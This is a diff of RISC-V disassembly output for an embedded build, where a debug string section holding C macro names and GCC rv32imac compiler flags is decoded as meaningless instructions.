+    4d82:	5f5f 2820 7323      	0x732328205f5f
+    4d88:	6d79                	lui	s10,0x1e
+    4d8a:	2929                	jal	51a4 <__stack_size+0x49a4>
+    4d8c:	0029                	c.nop	10
+    4d8e:	5f5f 4957 544e      	0x544e49575f5f
+    4d94:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
+    4d9a:	3020                	fld	fs0,96(s0)
+    4d9c:	0055                	c.nop	21
+    4d9e:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    4da2:	484d                	li	a6,19
+    4da4:	4d50                	lw	a2,28(a0)
+    4da6:	4e554f43          	fmadd.q	ft10,fa0,ft5,fs1,rmm
+    4daa:	4554                	lw	a3,12(a0)
+    4dac:	3452                	fld	fs0,304(sp)
+    4dae:	3120                	fld	fs0,96(a0)
+    4db0:	0036                	c.slli	zero,0xd
+    4db2:	5f5f 4e49 3854      	0x38544e495f5f
+    4db8:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    4dbe:	3020                	fld	fs0,96(s0)
+    4dc0:	3778                	fld	fa4,232(a4)
+    4dc2:	0066                	c.slli	zero,0x19
+    4dc4:	7845                	lui	a6,0xffff1
+    4dc6:	6c70                	flw	fa2,92(s0)
+    4dc8:	6369                	lui	t1,0x1a
+    4dca:	7469                	lui	s0,0xffffa
+    4dcc:	7246                	flw	ft4,112(sp)
+    4dce:	6565                	lui	a0,0x19
+    4dd0:	5f00                	lw	s0,56(a4)
+    4dd2:	495f 544e 4c5f      	0x4c5f544e495f
+    4dd8:	4145                	li	sp,17
+    4dda:	32335453          	0x32335453
+    4dde:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    4de4:	3020                	fld	fs0,96(s0)
+    4de6:	3778                	fld	fa4,232(a4)
+    4de8:	6666                	flw	fa2,88(sp)
+    4dea:	6666                	flw	fa2,88(sp)
+    4dec:	6666                	flw	fa2,88(sp)
+    4dee:	4c66                	lw	s8,88(sp)
+    4df0:	4600                	lw	s0,8(a2)
+    4df2:	4f4e                	lw	t5,208(sp)
+    4df4:	424e                	lw	tp,208(sp)
+    4df6:	4f4c                	lw	a1,28(a4)
+    4df8:	5f204b43          	fmadd.q	fs6,ft0,fs2,fa1,rmm
+    4dfc:	4e46                	lw	t3,80(sp)
+    4dfe:	4c424e4f          	0x4c424e4f
+    4e02:	004b434f          	fnmadd.s	ft6,fs6,ft4,ft0,rmm
+    4e06:	5f5f 4e47 4355      	0x43554e475f5f
+    4e0c:	494c                	lw	a1,20(a0)
+    4e0e:	425f454b          	fnmsub.d	fa0,ft10,ft5,fs0,rmm
+    4e12:	4955                	li	s2,21
+    4e14:	544c                	lw	a1,44(s0)
+    4e16:	4e49                	li	t3,18
+    4e18:	565f 5241 5241      	0x52415241565f
+    4e1e:	31205347          	fmsub.s	ft6,ft0,fs2,ft6,unknown
+    4e22:	5f00                	lw	s0,56(a4)
+    4e24:	78616d4b          	fnmsub.s	fs10,ft2,ft6,fa5,unknown
+    4e28:	2820                	fld	fs0,80(s0)
+    4e2a:	657a6973          	csrrsi	s2,0x657,20
+    4e2e:	2820666f          	jal	a2,b0b0 <__stack_size+0xa8b0>
+    4e32:	657a6973          	csrrsi	s2,0x657,20
+    4e36:	745f 2029 3c3c      	0x3c3c2029745f
+    4e3c:	3320                	fld	fs0,96(a4)
+    4e3e:	0029                	c.nop	10
+    4e40:	5f5f 5341 4e4d      	0x4e4d53415f5f
+    4e46:	4d41                	li	s10,16
+    4e48:	2845                	jal	4ef8 <__stack_size+0x46f8>
+    4e4a:	6d616e63          	bltu	sp,s6,5526 <__stack_size+0x4d26>
+    4e4e:	2965                	jal	5306 <__stack_size+0x4b06>
+    4e50:	5f20                	lw	s0,120(a4)
+    4e52:	585f 5453 4952      	0x49525453585f
+    4e58:	474e                	lw	a4,208(sp)
+    4e5a:	2820                	fld	fs0,80(s0)
+    4e5c:	5f5f 5355 5245      	0x524553555f5f
+    4e62:	4c5f 4241 4c45      	0x4c4542414c5f
+    4e68:	505f 4552 4946      	0x49464552505f
+    4e6e:	5f58                	lw	a4,60(a4)
+    4e70:	295f 6320 616e      	0x616e6320295f
+    4e76:	656d                	lui	a0,0x1b
+    4e78:	5f00                	lw	s0,56(a4)
+    4e7a:	4546                	lw	a0,80(sp)
+    4e7c:	4358                	lw	a4,4(a4)
+    4e7e:	204c                	fld	fa1,128(s0)
+    4e80:	7830                	flw	fa2,112(s0)
+    4e82:	3830                	fld	fa2,112(s0)
+    4e84:	3030                	fld	fa2,96(s0)
+    4e86:	5f00                	lw	s0,56(a4)
+    4e88:	5f5f 6e69 5f74      	0x5f746e695f5f
+    4e8e:	656c                	flw	fa1,76(a0)
+    4e90:	7361                	lui	t1,0xffff8
+    4e92:	3174                	fld	fa3,224(a0)
     4e94:	5f36                	lw	t5,108(sp)
-    4e96:	414d                	li	sp,19
-    4e98:	5f58                	lw	a4,60(a4)
-    4e9a:	205f 7830 6666      	0x66667830205f
-    4ea0:	6666                	flw	fa2,88(sp)
-    4ea2:	6666                	flw	fa2,88(sp)
-    4ea4:	6666                	flw	fa2,88(sp)
-    4ea6:	0055                	c.nop	21
-    4ea8:	5f5f 4955 544e      	0x544e49555f5f
-    4eae:	465f 5341 3654      	0x36545341465f
-    4eb4:	5f34                	lw	a3,120(a4)
-    4eb6:	5954                	lw	a3,52(a0)
-    4eb8:	4550                	lw	a2,12(a0)
-    4eba:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
-    4ec0:	6f6c2067          	0x6f6c2067
-    4ec4:	676e                	flw	fa4,216(sp)
-    4ec6:	7520                	flw	fs0,104(a0)
-    4ec8:	736e                	flw	ft6,248(sp)
-    4eca:	6769                	lui	a4,0x1a
-    4ecc:	656e                	flw	fa0,216(sp)
-    4ece:	2064                	fld	fs1,192(s0)
-    4ed0:	6e69                	lui	t3,0x1a
-    4ed2:	0074                	addi	a3,sp,12
-    4ed4:	4d44                	lw	s1,28(a0)
-    4ed6:	5f41                	li	t5,-16
-    4ed8:	455f4843          	0x455f4843
-    4edc:	414e                	lw	sp,208(sp)
-    4ede:	4c42                	lw	s8,16(sp)
-    4ee0:	5f45                	li	t5,-15
-    4ee2:	2046464f          	fnmadd.s	fa2,fa2,ft4,ft4,rmm
-    4ee6:	7830                	flw	fa2,112(s0)
-    4ee8:	5f003433          	0x5f003433
-    4eec:	4c5f4353          	0x4c5f4353
-    4ef0:	4e49                	li	t3,18
-    4ef2:	5f45                	li	t5,-15
-    4ef4:	414d                	li	sp,19
-    4ef6:	2058                	fld	fa4,128(s0)
-    4ef8:	3836                	fld	fa6,360(sp)
-    4efa:	5f00                	lw	s0,56(a4)
-    4efc:	4552                	lw	a0,20(sp)
-    4efe:	4e45                	li	t3,17
-    4f00:	5f54                	lw	a3,60(a4)
-    4f02:	4152                	lw	sp,20(sp)
-    4f04:	444e                	lw	s0,208(sp)
-    4f06:	4e5f 5845 2854      	0x285458454e5f
-    4f0c:	7470                	flw	fa2,108(s0)
-    4f0e:	2972                	fld	fs2,280(sp)
-    4f10:	2820                	fld	fs0,80(s0)
-    4f12:	7028                	flw	fa0,96(s0)
-    4f14:	7274                	flw	fa3,100(a2)
-    4f16:	2d29                	jal	5530 <__stack_size+0x4d30>
-    4f18:	5f3e                	lw	t5,236(sp)
-    4f1a:	656e                	flw	fa0,216(sp)
-    4f1c:	725f2e77          	0x725f2e77
-    4f20:	6565                	lui	a0,0x19
-    4f22:	746e                	flw	fs0,248(sp)
-    4f24:	5f2e                	lw	t5,232(sp)
-    4f26:	6172                	flw	ft2,28(sp)
-    4f28:	646e                	flw	fs0,216(sp)
-    4f2a:	6e5f 7865 2974      	0x297478656e5f
-    4f30:	4c00                	lw	s0,24(s0)
-    4f32:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    4f36:	414d                	li	sp,19
-    4f38:	2058                	fld	fa4,128(s0)
-    4f3a:	5f5f 4f4c 474e      	0x474e4f4c5f5f
-    4f40:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    4e96:	5f74                	lw	a3,124(a4)
+    4e98:	6564                	flw	fs1,76(a0)
+    4e9a:	6966                	flw	fs2,88(sp)
+    4e9c:	656e                	flw	fa0,216(sp)
+    4e9e:	2064                	fld	fs1,192(s0)
+    4ea0:	0031                	c.nop	12
+    4ea2:	4b454553          	0x4b454553
+    4ea6:	455f 444e 3220      	0x3220444e455f
+    4eac:	4700                	lw	s0,8(a4)
+    4eae:	554e                	lw	a0,240(sp)
+    4eb0:	4320                	lw	s0,64(a4)
+    4eb2:	3731                	jal	4dbe <__stack_size+0x45be>
+    4eb4:	3120                	fld	fs0,96(a0)
+    4eb6:	2e30                	fld	fa2,88(a2)
+    4eb8:	2e31                	jal	51d4 <__stack_size+0x49d4>
+    4eba:	2030                	fld	fa2,64(s0)
+    4ebc:	6d2d                	lui	s10,0xb
+    4ebe:	7261                	lui	tp,0xffff8
+    4ec0:	723d6863          	bltu	s10,gp,55f0 <__stack_size+0x4df0>
+    4ec4:	3376                	fld	ft6,376(sp)
+    4ec6:	6932                	flw	fs2,12(sp)
+    4ec8:	616d                	addi	sp,sp,240
+    4eca:	6d2d2063          	0x6d2d2063
+    4ece:	6261                	lui	tp,0x18
+    4ed0:	3d69                	jal	4d6a <__stack_size+0x456a>
+    4ed2:	6c69                	lui	s8,0x1a
+    4ed4:	3370                	fld	fa2,224(a4)
+    4ed6:	2032                	fld	ft0,264(sp)
+    4ed8:	6d2d                	lui	s10,0xb
+    4eda:	646f6d63          	bltu	t5,t1,5534 <__stack_size+0x4d34>
+    4ede:	6c65                	lui	s8,0x19
+    4ee0:	6d3d                	lui	s10,0xf
+    4ee2:	6465                	lui	s0,0x19
+    4ee4:	6e61                	lui	t3,0x18
+    4ee6:	2079                	jal	4f74 <__stack_size+0x4774>
+    4ee8:	6d2d                	lui	s10,0xb
+    4eea:	6c616d73          	csrrsi	s10,0x6c6,2
+    4eee:	2d6c                	fld	fa1,216(a0)
+    4ef0:	6164                	flw	fs1,68(a0)
+    4ef2:	6174                	flw	fa3,68(a0)
+    4ef4:	6c2d                	lui	s8,0xb
+    4ef6:	6d69                	lui	s10,0x1a
+    4ef8:	7469                	lui	s0,0xffffa
+    4efa:	203d                	jal	4f28 <__stack_size+0x4728>
+    4efc:	2038                	fld	fa4,64(s0)
+    4efe:	6d2d                	lui	s10,0xb
+    4f00:	7574                	flw	fa3,108(a0)
+    4f02:	656e                	flw	fa0,216(sp)
+    4f04:	723d                	lui	tp,0xfffef
+    4f06:	656b636f          	jal	t1,bb55c <__stack_size+0xbad5c>
+    4f0a:	2074                	fld	fa3,192(s0)
+    4f0c:	672d                	lui	a4,0xb
+    4f0e:	4f2d2033          	0x4f2d2033
+    4f12:	662d2073          	csrs	0x662,s10
+    4f16:	7566                	flw	fa0,120(sp)
+    4f18:	636e                	flw	ft6,216(sp)
+    4f1a:	6974                	flw	fa3,84(a0)
+    4f1c:	732d6e6f          	jal	t3,db64e <__stack_size+0xdae4e>
+    4f20:	6365                	lui	t1,0x19
+    4f22:	6974                	flw	fa3,84(a0)
+    4f24:	20736e6f          	jal	t3,3b92a <__stack_size+0x3b12a>
+    4f28:	662d                	lui	a2,0xb
+    4f2a:	6164                	flw	fs1,68(a0)
+    4f2c:	6174                	flw	fa3,68(a0)
+    4f2e:	732d                	lui	t1,0xfffeb
+    4f30:	6365                	lui	t1,0x19
+    4f32:	6974                	flw	fa3,84(a0)
+    4f34:	20736e6f          	jal	t3,3b93a <__stack_size+0x3b13a>
+    4f38:	662d                	lui	a2,0xb
+    4f3a:	7266                	flw	ft4,120(sp)
+    4f3c:	6565                	lui	a0,0x19
+    4f3e:	6e617473          	csrrci	s0,0x6e6,2
+    4f42:	6964                	flw	fs1,84(a0)
+    4f44:	676e                	flw	fa4,216(sp)
     4f46:	5f00                	lw	s0,56(a4)
-    4f48:	6c5f 636f 736b      	0x736b636f6c5f
-    4f4e:	735f 6168 6572      	0x65726168735f
-    4f54:	2864                	fld	fs1,208(s0)
-    4f56:	2e2e                	fld	ft8,200(sp)
-    4f58:	292e                	fld	fs2,200(sp)
-    4f5a:	5f20                	lw	s0,120(a4)
-    4f5c:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    4f62:	6e61                	lui	t3,0x18
-    4f64:	6f6e                	flw	ft10,216(sp)
-    4f66:	6174                	flw	fa3,68(a0)
-    4f68:	6574                	flw	fa3,76(a0)
-    4f6a:	7328                	flw	fa0,96(a4)
-    4f6c:	6168                	flw	fa0,68(a0)
-    4f6e:	6572                	flw	fa0,28(sp)
-    4f70:	5f64                	lw	s1,124(a4)
-    4f72:	6f6c                	flw	fa1,92(a4)
-    4f74:	665f6b63          	bltu	t5,t0,55ea <__stack_size+0x4dea>
-    4f78:	6e75                	lui	t3,0x1d
-    4f7a:	6f697463          	bgeu	s2,s6,5662 <__stack_size+0x4e62>
-    4f7e:	286e                	fld	fa6,216(sp)
-    4f80:	5f5f 4156 415f      	0x415f41565f5f
-    4f86:	4752                	lw	a4,20(sp)
-    4f88:	295f5f53          	0x295f5f53
-    4f8c:	0029                	c.nop	10
-    4f8e:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
-    4f92:	534d                	li	t1,-13
-    4f94:	4154                	lw	a3,4(a0)
-    4f96:	5554                	lw	a3,44(a0)
-    4f98:	00302053          	fadd.s	ft0,ft0,ft3,rdn
-    4f9c:	636d                	lui	t1,0x1b
-    4f9e:	7561                	lui	a0,0xffff8
-    4fa0:	5f006573          	csrrsi	a0,0x5f0,0
-    4fa4:	585f4353          	0x585f4353
-    4fa8:	5342                	lw	t1,48(sp)
-    4faa:	5f35                	li	t5,-19
-    4fac:	504c                	lw	a1,36(s0)
-    4fae:	4942                	lw	s2,16(sp)
-    4fb0:	464f5f47          	fmsub.q	ft10,ft10,ft4,fs0,unknown
-    4fb4:	4246                	lw	tp,80(sp)
-    4fb6:	4749                	li	a4,18
-    4fb8:	5f20                	lw	s0,120(a4)
-    4fba:	565f4353          	0x565f4353
-    4fbe:	504c5f37          	lui	t5,0x504c5
-    4fc2:	4942                	lw	s2,16(sp)
-    4fc4:	464f5f47          	fmsub.q	ft10,ft10,ft4,fs0,unknown
-    4fc8:	4246                	lw	tp,80(sp)
-    4fca:	4749                	li	a4,18
-    4fcc:	5f00                	lw	s0,56(a4)
-    4fce:	5f535953          	0x5f535953
-    4fd2:	5954                	lw	a3,52(a0)
-    4fd4:	4550                	lw	a2,12(a0)
-    4fd6:	44465f53          	0x44465f53
-    4fda:	535f 5445 0020      	0x205445535f
-    4fe0:	515f 4155 5f44      	0x5f444155515f
-    4fe6:	4f4c                	lw	a1,28(a4)
-    4fe8:	524f5757          	0x524f5757
-    4fec:	2044                	fld	fs1,128(s0)
-    4fee:	0030                	addi	a2,sp,8
-    4ff0:	525f 4e41 3444      	0x34444e41525f
-    4ff6:	5f38                	lw	a4,120(a4)
-    4ff8:	554d                	li	a0,-13
-    4ffa:	544c                	lw	a1,44(s0)
-    4ffc:	305f 2820 7830      	0x78302820305f
-    5002:	3665                	jal	4baa <__stack_size+0x43aa>
-    5004:	6436                	flw	fs0,76(sp)
-    5006:	0029                	c.nop	10
-    5008:	544e4957          	0x544e4957
-    500c:	4d5f 4e49 5f00      	0x5f004e494d5f
-    5012:	4e49                	li	t3,18
-    5014:	3854                	fld	fa3,176(s0)
-    5016:	545f 445f 4345      	0x4345445f545f
-    501c:	414c                	lw	a1,4(a0)
-    501e:	4552                	lw	a0,20(sp)
-    5020:	2044                	fld	fs1,128(s0)
-    5022:	5f00                	lw	s0,56(a4)
-    5024:	4552                	lw	a0,20(sp)
-    5026:	4e45                	li	t3,17
-    5028:	5f54                	lw	a3,60(a4)
-    502a:	4d45                	li	s10,17
-    502c:	5245                	li	tp,-15
-    502e:	434e4547          	fmsub.d	fa0,ft8,fs4,fs0,rmm
-    5032:	2859                	jal	50c8 <__stack_size+0x48c8>
-    5034:	7470                	flw	fa2,108(s0)
-    5036:	2972                	fld	fs2,280(sp)
-    5038:	2820                	fld	fs0,80(s0)
-    503a:	7028                	flw	fa0,96(s0)
-    503c:	7274                	flw	fa3,100(a2)
-    503e:	2d29                	jal	5658 <__stack_size+0x4e58>
-    5040:	5f3e                	lw	t5,236(sp)
-    5042:	6d65                	lui	s10,0x19
-    5044:	7265                	lui	tp,0xffff9
-    5046:	636e6567          	0x636e6567
-    504a:	2979                	jal	54e8 <__stack_size+0x4ce8>
-    504c:	5f00                	lw	s0,56(a4)
-    504e:	495f 544e 3233      	0x3233544e495f
-    5054:	545f 5059 5f45      	0x5f455059545f
-    505a:	205f 6f6c 676e      	0x676e6f6c205f
-    5060:	6920                	flw	fs0,80(a0)
-    5062:	746e                	flw	fs0,248(sp)
-    5064:	5f00                	lw	s0,56(a4)
-    5066:	475f 554e 4c43      	0x4c43554e475f
-    506c:	4b49                	li	s6,18
-    506e:	5f45                	li	t5,-15
-    5070:	524f5443          	fmadd.d	fs0,ft10,ft4,fa0,unknown
-    5074:	535f 4345 4954      	0x49544345535f
-    507a:	485f4e4f          	fnmadd.s	ft8,ft10,ft5,fs1,rmm
-    507e:	4e41                	li	t3,16
-    5080:	4c44                	lw	s1,28(s0)
-    5082:	4e49                	li	t3,18
-    5084:	00312047          	fmsub.s	ft0,ft2,ft3,ft0,rdn
-    5088:	5f5f 4955 544e      	0x544e49555f5f
-    508e:	465f 5341 3854      	0x38545341465f
-    5094:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    509a:	3020                	fld	fs0,96(s0)
-    509c:	6678                	flw	fa4,76(a2)
-    509e:	6666                	flw	fa2,88(sp)
-    50a0:	6666                	flw	fa2,88(sp)
-    50a2:	6666                	flw	fa2,88(sp)
-    50a4:	5566                	lw	a0,120(sp)
-    50a6:	5f00                	lw	s0,56(a4)
-    50a8:	4552                	lw	a0,20(sp)
-    50aa:	4e45                	li	t3,17
-    50ac:	2054                	fld	fa3,128(s0)
-    50ae:	695f 706d 7275      	0x7275706d695f
-    50b4:	5f65                	li	t5,-7
-    50b6:	7470                	flw	fa2,108(s0)
-    50b8:	0072                	c.slli	zero,0x1c
-    50ba:	525f 4545 544e      	0x544e4545525f
-    50c0:	575f 5443 4d4f      	0x4d4f5443575f
-    50c6:	5f42                	lw	t5,48(sp)
-    50c8:	54415453          	0x54415453
-    50cc:	2845                	jal	517c <__stack_size+0x497c>
-    50ce:	7470                	flw	fa2,108(s0)
-    50d0:	2972                	fld	fs2,280(sp)
-    50d2:	2820                	fld	fs0,80(s0)
-    50d4:	7028                	flw	fa0,96(s0)
-    50d6:	7274                	flw	fa3,100(a2)
-    50d8:	2d29                	jal	56f2 <__stack_size+0x4ef2>
-    50da:	5f3e                	lw	t5,236(sp)
-    50dc:	656e                	flw	fa0,216(sp)
-    50de:	725f2e77          	0x725f2e77
-    50e2:	6565                	lui	a0,0x19
-    50e4:	746e                	flw	fs0,248(sp)
-    50e6:	5f2e                	lw	t5,232(sp)
-    50e8:	6f746377          	0x6f746377
-    50ec:	626d                	lui	tp,0x1b
-    50ee:	735f 6174 6574      	0x65746174735f
-    50f4:	0029                	c.nop	10
-    50f6:	5442                	lw	s0,48(sp)
-    50f8:	324e                	fld	ft4,240(sp)
-    50fa:	3320                	fld	fs0,96(a4)
-    50fc:	0031                	c.nop	12
-    50fe:	4e49                	li	t3,18
-    5100:	5f54                	lw	a3,60(a4)
-    5102:	4146                	lw	sp,80(sp)
-    5104:	36315453          	0x36315453
-    5108:	4d5f 4e49 2820      	0x28204e494d5f
-    510e:	492d                	li	s2,11
-    5110:	544e                	lw	s0,240(sp)
-    5112:	465f 5341 3154      	0x31545341465f
-    5118:	5f36                	lw	t5,108(sp)
-    511a:	414d                	li	sp,19
-    511c:	2058                	fld	fa4,128(s0)
-    511e:	202d                	jal	5148 <__stack_size+0x4948>
-    5120:	2931                	jal	553c <__stack_size+0x4d3c>
-    5122:	4300                	lw	s0,0(a4)
-    5124:	4d5f5253          	0x4d5f5253
-    5128:	4d49                	li	s10,18
-    512a:	4950                	lw	a2,20(a0)
-    512c:	2044                	fld	fs1,128(s0)
-    512e:	3131                	jal	4d3a <__stack_size+0x453a>
-    5130:	5f00                	lw	s0,56(a4)
-    5132:	6e5f 6565 5f64      	0x5f6465656e5f
-    5138:	554e                	lw	a0,240(sp)
-    513a:	4c4c                	lw	a1,28(s0)
-    513c:	6f00                	flw	fs0,24(a4)
-    513e:	6666                	flw	fa2,88(sp)
-    5140:	6f746573          	csrrsi	a0,0x6f7,8
-    5144:	2866                	fld	fa6,88(sp)
-    5146:	5954                	lw	a3,52(a0)
-    5148:	4550                	lw	a2,12(a0)
-    514a:	4d2c                	lw	a1,88(a0)
-    514c:	4d45                	li	s10,17
-    514e:	4542                	lw	a0,16(sp)
-    5150:	2952                	fld	fs2,272(sp)
-    5152:	5f20                	lw	s0,120(a4)
-    5154:	625f 6975 746c      	0x746c6975625f
-    515a:	6e69                	lui	t3,0x1a
-    515c:	6f5f 6666 6573      	0x657366666f5f
-    5162:	6f74                	flw	fa3,92(a4)
-    5164:	2066                	fld	ft0,88(sp)
-    5166:	5428                	lw	a0,104(s0)
-    5168:	5059                	c.li	zero,-10
-    516a:	2c45                	jal	541a <__stack_size+0x4c1a>
-    516c:	4d20                	lw	s0,88(a0)
-    516e:	4d45                	li	s10,17
-    5170:	4542                	lw	a0,16(sp)
-    5172:	2952                	fld	fs2,272(sp)
-    5174:	5000                	lw	s0,32(s0)
-    5176:	494c                	lw	a1,20(a0)
-    5178:	45585f43          	0x45585f43
-    517c:	414d                	li	sp,19
-    517e:	58525f43          	fmadd.s	ft10,ft4,ft5,fa1,unknown
-    5182:	535f 554f 4352      	0x4352554f535f
-    5188:	2045                	jal	5228 <__stack_size+0x4a28>
-    518a:	3132                	fld	ft2,296(sp)
-    518c:	4300                	lw	s0,0(a4)
-    518e:	4d5f5253          	0x4d5f5253
-    5192:	5049                	c.li	zero,-14
-    5194:	3720                	fld	fs0,104(a4)
-    5196:	5f00                	lw	s0,56(a4)
-    5198:	4c5f4353          	0x4c5f4353
-    519c:	5645                	li	a2,-15
-    519e:	4c45                	li	s8,17
-    51a0:	5f34                	lw	a3,120(a4)
-    51a2:	48434143          	fmadd.s	ft2,ft6,ft4,fs1,rmm
-    51a6:	5f45                	li	t5,-15
-    51a8:	5341                	li	t1,-16
-    51aa:	20434f53          	0x20434f53
-    51ae:	3331                	jal	4eba <__stack_size+0x46ba>
-    51b0:	0038                	addi	a4,sp,8
-    51b2:	535f 5f43 5254      	0x52545f43535f
-    51b8:	4341                	li	t1,16
-    51ba:	5f45                	li	t5,-15
-    51bc:	5645                	li	a2,-15
-    51be:	4e45                	li	t3,17
-    51c0:	5f54                	lw	a3,60(a4)
-    51c2:	414e                	lw	sp,208(sp)
-    51c4:	454d                	li	a0,19
-    51c6:	4d5f 5841 3820      	0x382058414d5f
-    51cc:	0035                	c.nop	13
-    51ce:	5f5f 6164 6174      	0x617461645f5f
-    51d4:	7974                	flw	fa3,116(a0)
-    51d6:	6570                	flw	fa2,76(a0)
-    51d8:	745f 7079 5f65      	0x5f657079745f
-    51de:	6174                	flw	fa3,68(a0)
-    51e0:	696b2867          	0x696b2867
-    51e4:	646e                	flw	fs0,216(sp)
-    51e6:	742c                	flw	fa1,104(s0)
-    51e8:	7079                	c.lui	zero,0xffffe
-    51ea:	2965                	jal	56a2 <__stack_size+0x4ea2>
-    51ec:	0020                	addi	s0,sp,8
-    51ee:	5746                	lw	a4,112(sp)
-    51f0:	4952                	lw	s2,20(sp)
-    51f2:	4554                	lw	a3,12(a0)
-    51f4:	5f20                	lw	s0,120(a4)
-    51f6:	5746                	lw	a4,112(sp)
-    51f8:	4952                	lw	s2,20(sp)
-    51fa:	4554                	lw	a3,12(a0)
-    51fc:	5f00                	lw	s0,56(a4)
-    51fe:	4954                	lw	a3,20(a0)
-    5200:	454d                	li	a0,19
-    5202:	5f52                	lw	t5,52(sp)
-    5204:	5f54                	lw	a3,60(a4)
-    5206:	7520                	flw	fs0,104(a0)
-    5208:	736e                	flw	ft6,248(sp)
-    520a:	6769                	lui	a4,0x1a
-    520c:	656e                	flw	fa0,216(sp)
-    520e:	2064                	fld	fs1,192(s0)
-    5210:	6f6c                	flw	fa1,92(a4)
-    5212:	676e                	flw	fa4,216(sp)
-    5214:	4300                	lw	s0,0(a4)
-    5216:	4d5f5253          	0x4d5f5253
-    521a:	5654                	lw	a3,44(a2)
-    521c:	4c41                	li	s8,16
-    521e:	3620                	fld	fs0,104(a2)
-    5220:	5f00                	lw	s0,56(a4)
-    5222:	705f 6361 656b      	0x656b6361705f
-    5228:	2064                	fld	fs1,192(s0)
-    522a:	5f5f 7461 7274      	0x727474615f5f
-    5230:	6269                	lui	tp,0x1a
-    5232:	7475                	lui	s0,0xffffd
-    5234:	5f65                	li	t5,-7
-    5236:	285f 5f28 705f      	0x705f5f28285f
-    523c:	6361                	lui	t1,0x18
-    523e:	5f64656b          	0x5f64656b
-    5242:	295f 0029 5f5f      	0x5f5f0029295f
-    5248:	4544                	lw	s1,12(a0)
-    524a:	4f56                	lw	t5,84(sp)
-    524c:	414c                	lw	a1,4(a0)
-    524e:	4954                	lw	a3,20(a0)
-    5250:	454c                	lw	a1,12(a0)
-    5252:	7428                	flw	fa0,104(s0)
-    5254:	7079                	c.lui	zero,0xffffe
-    5256:	2c65                	jal	550e <__stack_size+0x4d0e>
-    5258:	6176                	flw	ft2,92(sp)
-    525a:	2972                	fld	fs2,280(sp)
-    525c:	2820                	fld	fs0,80(s0)
-    525e:	7428                	flw	fa0,104(s0)
-    5260:	7079                	c.lui	zero,0xffffe
-    5262:	2965                	jal	571a <__stack_size+0x4f1a>
-    5264:	5f28                	lw	a0,120(a4)
-    5266:	755f 6e69 7074      	0x70746e69755f
-    526c:	7274                	flw	fa3,100(a2)
-    526e:	745f 2829 6f76      	0x6f762829745f
-    5274:	616c                	flw	fa1,68(a0)
-    5276:	6974                	flw	fa3,84(a0)
-    5278:	656c                	flw	fa1,76(a0)
-    527a:	7620                	flw	fs0,104(a2)
-    527c:	2064696f          	jal	s2,4b482 <__stack_size+0x4ac82>
-    5280:	292a                	fld	fs2,136(sp)
-    5282:	7628                	flw	fa0,104(a2)
-    5284:	7261                	lui	tp,0xffff8
-    5286:	2929                	jal	56a0 <__stack_size+0x4ea0>
-    5288:	5f00                	lw	s0,56(a4)
-    528a:	545f4353          	0x545f4353
-    528e:	4e5a                	lw	t3,148(sp)
-    5290:	4d41                	li	s10,16
-    5292:	5f45                	li	t5,-15
-    5294:	414d                	li	sp,19
-    5296:	2058                	fld	fa4,128(s0)
-    5298:	3032                	fld	ft0,296(sp)
-    529a:	4300                	lw	s0,0(a4)
-    529c:	4148                	lw	a0,4(a0)
-    529e:	5f52                	lw	t5,52(sp)
-    52a0:	494d                	li	s2,19
-    52a2:	204e                	fld	ft0,208(sp)
-    52a4:	0030                	addi	a2,sp,8
-    52a6:	4e5f 5745 494c      	0x494c57454e5f
-    52ac:	5f42                	lw	t5,48(sp)
-    52ae:	4c41                	li	s8,16
-    52b0:	4f4c                	lw	a1,28(a4)
-    52b2:	485f4143          	fmadd.s	ft2,ft10,ft5,fs1,rmm
-    52b6:	0020                	addi	s0,sp,8
-    52b8:	535f 5f43 454d      	0x454d5f43535f
-    52be:	4c4d                	li	s8,19
-    52c0:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
-    52c4:	4152                	lw	sp,20(sp)
-    52c6:	474e                	lw	a4,208(sp)
-    52c8:	2045                	jal	5368 <__stack_size+0x4b68>
-    52ca:	3532                	fld	fa0,296(sp)
-    52cc:	5f00                	lw	s0,56(a4)
-    52ce:	535f 5041 2050      	0x20505041535f
-    52d4:	7830                	flw	fa2,112(s0)
-    52d6:	3130                	fld	fa2,96(a0)
-    52d8:	3030                	fld	fa2,96(s0)
-    52da:	5300                	lw	s0,32(a4)
-    52dc:	4749                	li	a4,18
-    52de:	415f 4f54 494d      	0x494d4f54415f
-    52e4:	494d5f43          	fmadd.s	ft10,fs10,fs4,fs1,unknown
-    52e8:	004e                	c.slli	zero,0x13
-    52ea:	5f5f 696d 5f6e      	0x5f6e696d5f5f
-    52f0:	657a6973          	csrrsi	s2,0x657,20
-    52f4:	7828                	flw	fa0,112(s0)
-    52f6:	2029                	jal	5300 <__stack_size+0x4b00>
-    52f8:	74617473          	csrrci	s0,0x746,2
-    52fc:	6369                	lui	t1,0x1a
-    52fe:	2820                	fld	fs0,80(s0)
-    5300:	2978                	fld	fa4,208(a0)
-    5302:	5f00                	lw	s0,56(a4)
-    5304:	5f535953          	0x5f535953
-    5308:	545f 5059 5345      	0x53455059545f
-    530e:	485f 0020 525f      	0x525f0020485f
-    5314:	4e41                	li	t3,16
-    5316:	3444                	fld	fs1,168(s0)
-    5318:	5f38                	lw	a4,120(a4)
-    531a:	44454553          	0x44454553
-    531e:	325f 2820 7830      	0x78302820325f
-    5324:	3231                	jal	4c30 <__stack_size+0x4430>
-    5326:	00293433          	sltu	s0,s2,sp
-    532a:	5f5f 4553 5252      	0x525245535f5f
-    5330:	3020                	fld	fs0,96(s0)
-    5332:	3078                	fld	fa4,224(s0)
-    5334:	3430                	fld	fa2,104(s0)
-    5336:	0030                	addi	a2,sp,8
-    5338:	4d44                	lw	s1,28(a0)
-    533a:	5f41                	li	t5,-16
-    533c:	5249                	li	tp,-14
-    533e:	2051                	jal	53c2 <__stack_size+0x4bc2>
-    5340:	535f0033          	0x535f0033
-    5344:	454d5f43          	0x454d5f43
-    5348:	47415353          	0x47415353
-    534c:	5f45                	li	t5,-15
-    534e:	4150                	lw	a2,4(a0)
-    5350:	4e495353          	0x4e495353
